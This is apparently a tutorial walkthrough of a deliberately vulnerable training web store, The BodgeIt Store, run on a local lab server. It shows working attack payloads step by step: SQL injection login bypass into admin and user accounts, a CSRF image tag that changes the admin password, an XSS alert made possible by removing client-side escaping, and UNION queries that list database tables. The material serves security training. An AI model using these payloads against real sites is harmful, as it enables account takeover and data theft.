The BodgeIt store part two
Before we go any further, I would like to focus on how a developer thinks and likes to manage a web application development process.
During the development phase of any application, every developer faces bugs and errors during the run of the application. But those long error messages with lots of cryptic-looking data are not meant to be shown to the user.
Become a certified reverse engineer!
This is done by disabling error messages except when a certain condition is true or a particular element is found. In case of web applications, many developers tend to use a parameter. This parameter is set in the URL of a particular web page whose errors are to be shown or where debugging is to be performed. For example:
- http://example.com/index.php?debug=start
- http://example.com/index.php?debug=true
- http://example.com/index.php?state=debug
- http://example.com/index.php?state=test
The above examples have a parameter with a value assigned to them. There could be any parameter and any value. But, in most cases, a developer likes to keep it simple. The parameter and its correct value set the page to debug state. Now any error that is generated by the page is shown on-screen.
Now, coming back to "The BodgeIt Store": The same debug information can be found on this web application. We append different possible parameters and values to the web pages to find the correct debug information.
"basket.jsp" is a page that responds with debug information when appending "debug=true" to the URL http://10.0.0.2:8080/bodgeit/basket.jsp?debug=true
We can make an exception occur by giving some invalid value which was not expected. This will give us some debug data.
Looking on the TBS web pages we see that "basket.jsp" is a page that accepts an integer value like 0, 1, 2, 3, etc. But what will happen if we pass an invalid value like an alphabet to it?
Using tamper data we change the value of "quantity" parameter from integer to an alphabet.
The response we receive is:
A bug in TBS is that this same information could have been displayed without "debug=true" or without specifying any such parameter. But the challenge is marked as complete only when the parameter "debug" with value "true" is set in the URL.
[COMPLETED]
Looking at the scoring page we can see that three challenges ask us to log in as three different users. Unfortunately we do not know the password of any of the three users.
SQL Injection comes into the picture in this case. Here is some brief information about SQL injection (SQLi):
SQL injection is guessing or fuzzing the SQL query used in the backend server script and sending some SQL input string to the script for processing so it leads to manipulating the SQL query in the backend and hence generating suitable response. It is the topmost web application vulnerability in OWASP Top 10.
I recommend that you read the OWASP Top 10 for a better understanding of web application vulnerabilities: (https://www.owasp.org/index.php/Top_10_2013-Top_10)
To know more about SQL injection, I recommend that you read the easy-to-understand SQL injection article by"Audi-1": (/sql-injections-introduction/).
Also watch the SQL injection video series by Audi-1, available here: http://www.securitytube.net/user/Audi
The login page at http://10.0.0.2:8080/bodgeit/login.jsp is the page that interacting with the database and authenticates the users. Now we have to test it for SQL injection.
Sample SQL query:
[sql]select * from users where username='SOME_USER' and password='USERS_PASSWORD'[/sql]
If we input SOME_USER as tester@tester.com and USERS_PASSWORD as tester, the SQL query becomes:
[sql]select * from users where username='tester@tester.com' and password='tester'[/sql]
The user is authenticated successfully.
What if I enter username as tester@tester.com' (Note the single quote) instead of tester@tester.com?
The SQL query now is:
[sql]select * from users where username='tester@tester.com'' and password='tester'[/sql]
The SQL query is unbalanced now and generates an error because of the extra single quote in the username value.
We can balance the query by entering username as tester@tester.com'' (now with two single quotes). Now it is balanced and generates correct output.
If the user input is not filtered and sanitized, it can lead to SQL injection.
We can use a number of characters to break an SQL query like: " ' ( )
Try all the options to break the SQL query. We succeed in breaking the query using a single quote (') in the username field.
We can confirm that our input broke the query because the "System error" message is shown at the top of the page on submission.
Now we know that we can manipulate the SQL query in the backend. We can leverage it to login into another account. Now the challenge we face is that we don't know the password of the other accounts.
A sample SQL login query will look like:
[sql]select * from users where username='tester@tester.com'' and password='tester'[/sql]
Here the "AND" keyword specifies that authentication succeeds only when the username and password of the user matches. We can inject an "OR" keyword to make our query true. For example, we send this as username: tester@tester.com' or '1'='1
Now the query is:
[sql]select * from users where username=' tester@tester.com' or '1'='1' and password='anything'[/sql]
Now the query is true and it will return true leading to authentication. Give it a try….
Response:
We are logged in without entering any password. Using the same technique for the users:
- test@thebodgeitstore.com
- user1@thebodgeitstore.com
- admin@thebodgeitstore.com
After we have logged in to the admin account using the SQL injection vulnerability, we can see a hyperlink "comment" leading to http://10.0.0.2:8080/bodgeit/contact.jsp
This page shows all those feedbacks we submitted previously using the feedback form.
We have seen that the password can be changed using a GET request. We can also use it to execute a CSRF (cross-site request forgery) attack and change the admin accounts password when he views the comments page.
Grab the GET request for password change using Firebug and Live HTTP headers.
http://10.0.0.2:8080/bodgeit/password.jsp?password1=qwerty&password2=qwerty
Now we can simply execute CSRF submitting this feedback:
<img src='http://10.0.0.2:8080/bodgeit/password.jsp?password1=qwerty&password2=qwerty'>
The <img> tag requests an image but the "src" parameter value sends a request to change the admin's account password.
The last comment with an image box is our CSRF attack. Let us try and login into the admin account using the password we used in the CSRF attack GET query.
This is not a challenge in TBS, but it is still a vulnerability.
We have gone through most of the pages of TBS but what we haven't seen yet is the "Advanced Search" page (http://10.0.0.2:8080/bodgeit/advanced.jsp).
The advanced search option is available through the search page option.
Let us give some input to the search input like "Doodahs" in Type input box.
On checking the HTML source code of the advance search page we see a few notable things:
- On submitting the search form, a JavaScript function "validateForm()" is called.
- A hidden input box named "q" is present in another <form> tag.
- The JavaScript code loads an external encryption file.
- The validateForm() function calls another function "encryptForm()."
Now let us analyze what exactly happens when we submit our search term:
Assuming we submit the search term "Doodahs" in Type field.
This is the JavaScript:
[javascript]
<script type="text/javascript">// <![CDATA[
loadfile('./js/encryption.js');
var key = "fcd5ee65-bf54-40";
function validateForm(form){
var query = document.getElementById('query');
var q = document.getElementById('q');
var val = encryptForm(key, form);
if(val){
q.value = val;
query.submit();
}
return false;
}
function encryptForm(key, form){
var params = form_to_params(form).replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"').replace(/'/g, ''');
if(params.length > 0)
return Aes.Ctr.encrypt(params, key, 128);
return false;
}
// ]]></script>
[/javascript]
loadfile('./js/encryption.js') loads the necessary functions and variables for AES encryption.
The "key" variable contains the AES encrypting key.
The "query" variable reads the second form on the page.
The "q" variable reads the <input> tag's hidden element "q".
The "val" variable calls another function encrytpForm() using as parameters the encryption key "key" and the form elements which we entered in the search form.
Inside the encryptForm() function:
The external form_to_params() method (defined inside /bodgeit/js/util.js) parses the form elements and its values into the format : "element_name:element_value"
The replace() function replaces the special characters in the input string with their HTML entities:
Special Character
HTML Entity
<
<
>
>
"
"
'
'
"Aes.Ctr.encrypt(params, key, 128)" method encrypts the parameters using the AES key and outputs a 128-bit cipher.
The computed cipher text is then returned to the validateForm().
The returned value, if not NULL, is set to the "q" element of the 2nd form on the page.
"query.submit()" is used to submit the 2nd form with "q" containing the AES encrypted string.
One of the challenges asks us to pop up a box using: <script>alert("H@cked A3S")</script>
But our input HTML code contains special characters that will be replaced by JavaScript on submission. To prevent that, we use Firebug to remove the code that will replace our special characters with their HTML entities.
Before removing the replace() code:
After replacing the replace() code:
Now input the search string as: <script>alert("H@cked A3S")</script>
This completes one of our AES challenge.
[COMPLETED]
Let us check the advanced search for SQL injection vulnerability. The application replaces single quotes and double quotes with HTML entities, but it does not replace the backslash (). The backslash can be used to escape the last double or single quote in query leading to breaking the query.
Input string:
Response we receive:
The page displays "System error," which confirms that we have an SQL injection here. To make things easier for us, we can use the "debug=true" to show some more diagnostic data.
Change the URL to: http://10.0.0.2:8080/bodgeit/advanced.jsp?debug=true
Input string:
Response:
Let us supply some valid data and watch the response now. Input string: Doodahs
Response:
The debug data shows us the SQL query used in the background, which is:
[sql]SELECT PRODUCT, DESC, TYPE, TYPEID, PRICE FROM PRODUCTS AS a JOIN PRODUCTTYPES AS b ON a.TYPEID = b.TYPEID WHERE PRODUCT LIKE '%' AND DESC LIKE '%' AND PRICE LIKE '%' AND TYPE LIKE '%Doodahs%'[/sql]
So we do have an SQL injection vulnerability on this page. The challenge says to append a list of table names to the normal results.
In SQL a list of table names is stored inside the table "tables" or "system_tables" in the database "information_schema."
"tables" is available in newer versions, while "system_tables" was used in earlier version.
And from the SQL query above we know that the query has five columns.
We can inject the following code to see whether or not the desired result is obtained:
[sql]anything%' union select 1,2,3,4,5 from products --+[/sql]
Note: --+ is used to comment out rest of the SQL query; do not forget to remove the JavaScript replace() before submitting the form or else the injection won't work.
Response:
The first part of the query becomes false because it fails to find any match in the database for "anything." So it executes the second query, which is "union select 1,2,3,4,5 from products." It simply prints 1,2,3,5 on-screen.
We can leverage it to output some other data in place of the digits.
We can find the number of tables by using the query:
[sql]anything%' union select (select count(table_name) from information_schema.system_tables),2,3,4,5 from products --+[/sql]
Response:
Since the first column was used to send the double query, the output is also shown in place of the first column.
Let's try to output a table name. To do that, we have to build a double query:
[sql]anything%' union select (select limit 0 1 table_name from information_schema.tables order by table_name),2,3,4,5 from products --+[/sql]
Response:
The error states: "Table not found: TABLES." It means it is an older version that uses "system_tables" to store the table names. The modified query now will be:
[sql]anything%' union select (select limit 0 1 table_name from information_schema.system_tables order by table_name),2,3,4,5 from products --+[/sql]
Response:
So we got our first table name, BASKETCONTENTS.
Now increment the limit value from 0 to 1. The new query will be:
[sql]anything%' union select (select limit 1 1 table_name from information_schema.system_tables order by table_name),2,3,4,5 from products --+[/sql]
Response:
So the second table name is BASKETS.
The next query, with the limit 2, will be:
[sql]anything%' union select (select <span style="background-color: yellow;">limit 2 1</span> table_name from information_schema.system_tables order by table_name),2,3,4,5 from products --+[/sql]
Response:
The third table name is COMMENTS.
The next query, with the limit 3, will be:
[sql]anything%' union select (select <span style="background-color: yellow;">limit 3 1</span> table_name from information_schema.system_tables order by table_name),2,3,4,5 from products --+[/sql]
This query prints a strange table name onscreen but, at the same time, it marks the completion of the last challenge.
[COMPLETED]
Final scoring page:
I would like to recommend that you go ahead and read the source code of "The BodgeIt Store" to see how the user's inputs are processed and how this leads to successful vulnerability discovery and code execution.
In the end I would like to thank Audi-1 for his wonderful SQLi tutorials (http://www.securitytube.net/user/Audi) and articles on Infosec Institute (/author/audi-1/), without which solving the SQLi challenges would have been impossible.